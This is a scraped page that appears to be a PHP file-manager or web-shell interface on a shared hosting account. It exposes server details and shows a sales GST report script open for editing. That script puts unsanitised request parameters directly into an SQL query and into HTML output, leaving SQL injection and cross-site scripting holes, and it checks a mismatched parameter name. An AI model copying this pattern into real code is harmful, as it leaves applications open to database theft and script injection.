Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/inputdata.in/public_html/aminianew

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: gstslreport.php

<?php
ob_start();
session_start();
include("includes/inall.php");
include("includes/headermain.php"); 
?>
<body>


<div id="preloader">
	<div class="loader"></div>
</div>


<div class="page-container">
	
	<?php include("includes/leftmenu.php"); ?>
	
	
	<div class="main-content">
		
		<?php include("includes/header.php"); ?>
		
	 	<div class="main-content-inner">
			
			<div> 
				<div class="col-lg-12 mt-4">
					<div class="card">
						<div class="card-body">
							<h4 class="header-title">Sales GST Report</h4>
							<div class="cleaner h10"></div>
							<form action="#" method="post">
								<div class="form-group col-md-6 floatleft">
									
									<input class="form-control" type="date" name="fdate" id="fdate" value="<?php print $_REQUEST['fdate']; ?>" placeholder="From Date">
								</div>
								<div class="form-group col-md-6 floatleft">
									
									<input class="form-control" type="date" name="tdate" id="tdate" value="<?php print $_REQUEST['tdate']; ?>" placeholder="To Date">
								</div>
								<div class="form-group col-md-12">
									<button type="submit" class="btn btn-primary pr-4 pl-4 floatleft">Search</button>
									<a href="<?php print basename(__FILE__); ?>" class="btn btn-primary ml-2 pr-4 pl-4 floatleft">Show All</a>
								</div>
							</form>	
							<?php
							$sql="select * from `sales_header` sh, `sales_item` si where sh.sl_id=si.sl_id";
							if($_REQUEST['fdate']) {
								$sql.=" and sh.sl_docdate>='".$_REQUEST['fdate']."'";
							}
							if($_REQUEST['todate']) {
								$sql.=" and sh.sl_docdate<='".$_REQUEST['tdate']."'";
							}
							$res=mysqli_query($con,$sql);
							if(mysqli_num_rows($res)>=1) {
								while($row=mysqli_fetch_array($res))
								{
									$pvalue=round($row['sales_valwogst'],2);
									if($row['sales_gst']=="0" || $row['sales_gst']=="0.00" || $row['sales_gst']=="00.00") {
										$taxzero+=$pvalue;
									}
									if($row['sales_gst']=="3" || $row['sales_gst']=="3.0" || $row['sales_gst']=="3.00" || $row['sales_gst']=="03") {
										$taxfive+=$pvalue;
									}
									if($row['sales_gst']=="12" || $row['sales_gst']=="12.0" || $row['sales_gst']=="12.00") {
										$taxtwelv+=$pvalue;
									}
									if($row['sales_gst']=="18" || $row['sales_gst']=="18.0" || $row['sales_gst']=="18.00") {
										$taxeteen+=$pvalue;
									}
									if($row['sales_gst']=="28" || $row['sales_gst']=="28.0" || $row['sales_gst']=="28.00") {
										$taxteight+=$pvalue;
									}
									$totam+=$pvalue;
								}
							}
							$gstfive=$taxfive*(3/100);
							$gstfteen=$taxtwelv*(12/100);
							$gsteteen=$taxeteen*(18/100);
							$gstteight=$taxteight*(28/100);
							$totgst=$gstfive+$gstfteen+$gsteteen+$gstteight;
							?>
							<div class="cleaner h20"></div>
							<table class="table text-center">
								<thead class="text-uppercase bg-primary">
									<tr class="text-white">
										<td align="left">GST %</td>
										<td align="left">Taxable Amount</td>
										<td align="left">CGST</td>
										<td align="left">SGST</td>
										<td align="left">Total GST</td>
									</tr>
								</thead>
								<tbody>
									<tr>
										<td align="left">0 %</td>
										<td align="left">
											<?php print number_format($taxzero,2); ?>
										</td>
										<td align="left">0.00</td>
										<td align="left">0.00</td>
										<td align="left">0.00</td>
									</tr>
									<tr>
										<td align="left">3 %</td>
										<td align="left">
											<?php print number_format($taxfive,2); ?>
										</td>
										<td align="left">
											<?php print number_format($gstfive/2,2); ?>
										</td>
										<td align="left">
											<?php print number_format($gstfive/2,2); ?>
										</td>
										<td align="left">
											<?php print number_format($gstfive,2); ?>
										</td>
									</tr>
								</tbody>
							</table>	
						</div>	
					</div>
				</div>
			</div>
			
		</div>
	</div>
	
	<?php include("includes/footer.php"); ?>
</div>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: gstslreport.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation